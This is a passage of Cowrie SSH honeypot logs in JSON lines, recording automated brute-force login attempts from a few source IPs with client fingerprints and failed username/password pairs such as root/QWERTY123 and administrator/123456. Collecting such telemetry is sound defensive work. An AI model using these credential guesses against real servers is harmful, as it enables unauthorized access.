0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:00.162448Z","src_ip":"45.153.34.114","session":"d68eaa582151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:00.543523Z","src_ip":"45.153.34.114","session":"d68eaa582151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:01.636783Z","src_ip":"45.153.34.114","session":"d68eaa582151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":49062,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5a52c7aeb54","protocol":"ssh","message":"New connection: 20.203.42.204:49062 (159.203.135.109:22) [session: f5a52c7aeb54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:01.983633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:01.989550Z","src_ip":"20.203.42.204","session":"f5a52c7aeb54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:02.164446Z","src_ip":"20.203.42.204","session":"f5a52c7aeb54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"powerpc","message":"login attempt [root/powerpc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:02.891343Z","src_ip":"20.203.42.204","session":"f5a52c7aeb54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:04.069280Z","src_ip":"20.203.42.204","session":"f5a52c7aeb54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42498,"dst_ip":"159.203.135.109","dst_port":22,"session":"735a4768a62c","protocol":"ssh","message":"New connection: 45.153.34.114:42498 (159.203.135.109:22) [session: 735a4768a62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:08.371076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:08.378184Z","src_ip":"45.153.34.114","session":"735a4768a62c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:08.458053Z","src_ip":"45.153.34.114","session":"735a4768a62c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:08.920055Z","src_ip":"45.153.34.114","session":"735a4768a62c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:10.009377Z","src_ip":"45.153.34.114","session":"735a4768a62c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39938,"dst_ip":"159.203.135.109","dst_port":22,"session":"07f97d7c1671","protocol":"ssh","message":"New connection: 45.153.34.114:39938 (159.203.135.109:22) [session: 07f97d7c1671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:16.156008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:16.164511Z","src_ip":"45.153.34.114","session":"07f97d7c1671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:16.252014Z","src_ip":"45.153.34.114","session":"07f97d7c1671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:16.556361Z","src_ip":"45.153.34.114","session":"07f97d7c1671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:17.670544Z","src_ip":"45.153.34.114","session":"07f97d7c1671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58130,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba5b676910f2","protocol":"ssh","message":"New connection: 103.75.199.4:58130 (159.203.135.109:22) [session: ba5b676910f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:17.906709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:17.912243Z","src_ip":"103.75.199.4","session":"ba5b676910f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:18.008355Z","src_ip":"103.75.199.4","session":"ba5b676910f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:18.283129Z","src_ip":"103.75.199.4","session":"ba5b676910f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:19.377451Z","src_ip":"103.75.199.4","session":"ba5b676910f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58008,"dst_ip":"159.203.135.109","dst_port":22,"session":"0893a9f57097","protocol":"ssh","message":"New connection: 45.153.34.114:58008 (159.203.135.109:22) [session: 0893a9f57097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:24.173113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:24.177564Z","src_ip":"45.153.34.114","session":"0893a9f57097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:24.262457Z","src_ip":"45.153.34.114","session":"0893a9f57097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:24.530427Z","src_ip":"45.153.34.114","session":"0893a9f57097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:25.674441Z","src_ip":"45.153.34.114","session":"0893a9f57097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51766,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0a14dc43323","protocol":"ssh","message":"New connection: 45.153.34.114:51766 (159.203.135.109:22) [session: f0a14dc43323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:32.509615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:32.514452Z","src_ip":"45.153.34.114","session":"f0a14dc43323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:32.610336Z","src_ip":"45.153.34.114","session":"f0a14dc43323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:32.879680Z","src_ip":"45.153.34.114","session":"f0a14dc43323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:33.965818Z","src_ip":"45.153.34.114","session":"f0a14dc43323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38456,"dst_ip":"159.203.135.109","dst_port":22,"session":"b25b7bf123e0","protocol":"ssh","message":"New connection: 103.75.199.4:38456 (159.203.135.109:22) [session: b25b7bf123e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:39.787004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:39.791025Z","src_ip":"103.75.199.4","session":"b25b7bf123e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:39.882348Z","src_ip":"103.75.199.4","session":"b25b7bf123e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54110,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d34ce97563","protocol":"ssh","message":"New connection: 45.153.34.114:54110 (159.203.135.109:22) [session: 59d34ce97563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:40.140261Z"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:40.154533Z","src_ip":"103.75.199.4","session":"b25b7bf123e0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:40.210374Z","src_ip":"45.153.34.114","session":"59d34ce97563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:40.318270Z","src_ip":"45.153.34.114","session":"59d34ce97563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:40.632140Z","src_ip":"45.153.34.114","session":"59d34ce97563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:41.247647Z","src_ip":"103.75.199.4","session":"b25b7bf123e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:41.718242Z","src_ip":"45.153.34.114","session":"59d34ce97563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54114,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4babb7deb85","protocol":"ssh","message":"New connection: 45.153.34.114:54114 (159.203.135.109:22) [session: a4babb7deb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:48.572695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:48.577391Z","src_ip":"45.153.34.114","session":"a4babb7deb85","protocol":"ssh"}
